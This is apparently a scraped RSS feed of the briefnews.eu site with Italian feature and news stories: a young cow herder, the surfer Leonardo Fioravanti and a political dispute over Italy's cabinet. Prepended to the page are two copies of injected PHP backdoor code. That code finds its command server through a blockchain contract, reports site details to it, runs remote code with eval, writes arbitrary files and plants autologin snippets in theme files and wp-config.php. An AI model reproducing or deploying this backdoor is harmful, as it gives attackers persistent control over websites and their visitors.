// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Italy&#039s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 01 Nov 2018 14:17:57 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Italy&#039s – Brief News https://briefnews.eu 32 32 Meet One of Italy's Few Female Cow Herders https://briefnews.eu/meet-one-of-italys-few-female-cow-herders/ https://briefnews.eu/meet-one-of-italys-few-female-cow-herders/#respond Thu, 01 Nov 2018 14:17:57 +0000 http://briefnews.eu/meet-one-of-italys-few-female-cow-herders/

Roberta Colombero’s life is one of hardship and dedication. Tending to a herd of cows using traditional methods means hard work, no fixed times and having to deal with whatever nature throws at you. Every summer the cows she and her mother and father own need to be moved to the mountains, the so-called transumanza. Then there’s the cheese they make and sell in a small shop year-round — cheese Roberta home-delivers.

What’s striking about Colombero, though, is not only the deep relationship she has with her animals — she milked her first cow when she was 3, and by the time she was 17, she was winning cow-milking contests — but also the fact that such a young girl might have chosen this way of life for herself. However, over the past few years in Italy, there’s been an increase in the number of young people from diverse paths of life who have made it back to the countryside.

“People from the city seem to have realized that they might own lots of things, but there is something else that is missing,” says Colombero, whose focus in her high school studies was everything and anything agricultural. ”Nowadays, it is important to understand that animals and nature are the ones that give us life.”

But while many of these young Italians flock to the countryside to tend to crops and orchards, they usually stay away from the mountains. Many alpine locations in Italy are by now abandoned, a phenomenon that began decades ago when people moved away to work in factories. Colombero’s wish, though, is to see more young people like her up in the Alps, taking care of the mountains — which, as far as her eye can see, is all she ever wants to do. A fact that should make the cows, and Colombero’s family, as happy as cows and family can be.

Let’s block ads! (Why?)

]]> https://briefnews.eu/meet-one-of-italys-few-female-cow-herders/feed/ 0 Meet One of Italy's Few Women Cow Herders https://briefnews.eu/meet-one-of-italys-few-women-cow-herders/ https://briefnews.eu/meet-one-of-italys-few-women-cow-herders/#respond Thu, 01 Nov 2018 04:54:47 +0000 http://briefnews.eu/meet-one-of-italys-few-women-cow-herders/

Roberta Colombero’s life is one of hardship and dedication. Tending to a herd of cows using traditional methods means hard work, no fixed times and having to deal with whatever nature throws at you. Every summer the cows she and her mother and father own need to be moved to the mountains, the so-called transumanza. Then there’s the cheese they make and sell in a small shop year-round — cheese Roberta home-delivers.

What’s striking about Colombero, though, is not only the deep relationship she has with her animals — she milked her first cow when she was 3, and by the time she was 17, she was winning cow-milking contests — but also the fact that such a young girl might have chosen this way of life for herself. However, over the past few years in Italy, there’s been an increase in the number of young people from diverse paths of life who have made it back to the countryside.

“People from the city seem to have realized that they might own lots of things, but there is something else that is missing,” says Colombero, whose focus in her high school studies was everything and anything agricultural. ”Nowadays, it is important to understand that animals and nature are the ones that give us life.”

But while many of these young Italians flock to the countryside to tend to crops and orchards, they usually stay away from the mountains. Many alpine locations in Italy are by now abandoned, a phenomenon that began decades ago when people moved away to work in factories. Colombero’s wish, though, is to see more young people like her up in the Alps, taking care of the mountains — which, as far as her eye can see, is all she ever wants to do. A fact that should make the cows, and Colombero’s family, as happy as cows and family can be.

Let’s block ads! (Why?)

]]> https://briefnews.eu/meet-one-of-italys-few-women-cow-herders/feed/ 0 From Rome, to Shred: Italy's Surfing Phenom Beats the Odds on Tour https://briefnews.eu/from-rome-to-shred-italys-surfing-phenom-beats-the-odds-on-tour/ https://briefnews.eu/from-rome-to-shred-italys-surfing-phenom-beats-the-odds-on-tour/#respond Sun, 05 Aug 2018 13:10:11 +0000 http://briefnews.eu/from-rome-to-shred-italys-surfing-phenom-beats-the-odds-on-tour/ There’s a moment on his way to placing first at the World Surf League Qualifying Series in Martinique in March when Leonardo Fioravanti seems to be taunting the waves. For most of his run, the 20-year-old phenom is crouched low, whipping and flipping his board in ways that should send this land-dweller tumbling into the shallow reef. And then, he stands up straight, arms stretched wide — proof that maybe reality does move more slowly when you’re in the zone.

Before he earned a ranking on the WSL’s Championship Tour, Firoavanti lived a much different life from many of his peers. A native of Rome, he grew up squishing into the back of his brother’s Mini for the hourlong trek to the coast and a chance to paddle into the Mediterranean surf. Fioravanti has been on the road since age 9, hitting junior circuits and taking up temporary residence in various parts of the world. Now, recovered from a horrific 2015 crash and approaching his athletic peak, the only Italian professional surfer wants more. His first goal is to be a consistent top finisher on the championship tour. Then? The first-ever Italian world champion.

“Everything is possible for him,” says Stephen Bell, Fioravanti’s stepfather and Quiksilver global team manager. “He wants to be world champion, and he has the potential.”

When you get a guy like Leonardo who has nothing to lose, he knows he has to go out there and have fun and be smart.

Kelly Slater, 11-time world champion

Still, Fioravanti recognizes that achieving his goals will take time: “I still have so much to learn. Of course I want to win now, but my goal is winning a world title in the next five to 10 years.”

That projection might have sounded conservative a few years ago. In 2014, Fioravanti’s debut season, he only competed in the second half of the year and still reached 28th on the WSL Qualifying Series, surfing’s equivalent of Triple-A. Afforded more time, Fioravanti likely would have qualified for the WSL Championship Tour — reserved for the sport’s 34 top athletes — and at 16, he would have been the youngest ever to achieve such a feat. In hindsight, he’s happy he didn’t. “I was much too young, but I was fired up for 2015,” he says.

His first event the following year, on Jan. 31, 2015, was the Volcom Pipe Pro at Hawaii’s famed — and deadly — Banzai Pipeline. But in his third-round heat, the kid from Rome was late on his wave. He wiped out hard, getting violently twisted and compressed against the reef. He remembers darkness and the wind being punched from his body. “I’ve never experienced a crash like that,” says Fioravanti. “Luckily the lifeguards did an incredible job, and the Jet-Skis towed me out of there.”

Ap 1tyfhu1xw2111 hires jpeg 24bit rgb

Fioravanti never lost consciousness, but he had a fractured L1 (first lumbar) vertebra. A week later, he went under the knife, doubtful he’d ever surf again. The surgery was successful, and then he endured four months of intensive rehab at France’s Centre Européen de Rééducation du Sportif. “Every day, 8 a.m. to 5:30 p.m.,” he says. “All of the work actually helped time pass quickly.” By November, he was back at Pipeline. And despite feeling “a little uneasy,” he won his first heat. In the third heat, Fioravanti crashed again. The lifeguards began to mobilize when a head popped up from the surf — not a scratch to be seen. Since then, Fioravanti has tried not to look back.

Nearly 500 surfers earned at least one point on the WSL Qualifying Series in 2016. The top 16, who rack up points in the 20,000 range, are elevated to championship tour status for the following season. As the only Italian in the bunch, Fioravanti might appear to be an outsider, but his inner circle is as connected and accomplished a crew as there is. When Fioravanti’s mother, Serena Martini, saw that her 9-year-old son was serious about surfing, she moved with him to France for better opportunities. Fioravanti’s father, who runs a restaurant in Rome, stayed behind, and Martini, divorced from his father, met and married Bell, an Australian expat. As it happens, Bell is best friends with surfing legend Kelly Slater. “He’s been my idol my entire life,” Fioravanti says of Slater. “Suddenly, he’s sleeping at my house in France!”

Fioravanti cites his relationships with Slater and Bell as key to his development as a surfer. He finished 2016 ranked sixth on the qualifying series with 20,800 points. That year, he also got a major confidence boost after beating Slater not once but twice in head-to-head world tour heats — a significant upset considering surfing’s Michael Jordan lost to his wet-behind-the-ears teen buddy. For his part, the 40-something Slater was supportive, but measured, in defeat: “When you get a guy like Leonardo who has nothing to lose, he knows he has to go out there and have fun and be smart. He had a game plan, and it worked out for him.”

Last year, Fioravanti ranked 26th on the championship tour (meaning 26th in the world), but he still hadn’t won an event since 2014. The breakthrough came in Martinique this March. “It’s one thing to think you can do it,” says Fioravanti. “It’s another to actually do it.” More fame and sponsorship opportunities — on top of his current deals with Quiksilver, Red Bull and Gucci — are sure to follow if Fioravanti does well on the championship tour, but a world title is far from guaranteed. Since 1983, when the WSL became surfing’s premier governing body, 16 surfers have claimed the WSL Men’s Tour titles. Not one has come from Europe.

There’s no shame in making a living on the waves. But for Fioravanti, it’s a legacy he’s after. “There are a lot of young Italians interested in surfing,” he says. “I want to inspire the growth of that culture.”

Let’s block ads! (Why?)

]]> https://briefnews.eu/from-rome-to-shred-italys-surfing-phenom-beats-the-odds-on-tour/feed/ 0 ‘President undermines election results, pushes for his own govt.’ – MP from Italy's M5S https://briefnews.eu/president-undermines-election-results-pushes-for-his-own-govt-mp-from-italys-m5s/ https://briefnews.eu/president-undermines-election-results-pushes-for-his-own-govt-mp-from-italys-m5s/#respond Mon, 28 May 2018 06:26:33 +0000 http://briefnews.eu/president-undermines-election-results-pushes-for-his-own-govt-mp-from-italys-m5s/ Italian President Sergio Mattarella has used a shady pretext to turn down a Euro-skeptic coalition pick for economy minister, as he seeks to mold a cabinet after own political views, an MP from the coalition told RT.

Manlio Di Stefano, an MP from the anti-establishment Five-Star Movement (M5S), which has teamed up with Lega Nord in a parliament, argued that it was Mattarella’s fault that Sunday did not bring a much-desired end to the two-month long post-election stalemate. Mattarella on Sunday rejected the candidacy of former industry minister and a distinguished economist, Paolo Savona, who was suggested by the coalition to fill the post of the minister of economy.

“I asked for a figure, who would mean not risking an exit from the euro,” Mattarella explained, citing Savona’s Euro-sceptic remarks.

Stefano argued that Mattarella has gone well beyond his powers by rejecting Savona’s candidacy based on his political views.

Read more


Italian President, Sergio Mattarella © Alessandro Bianchi

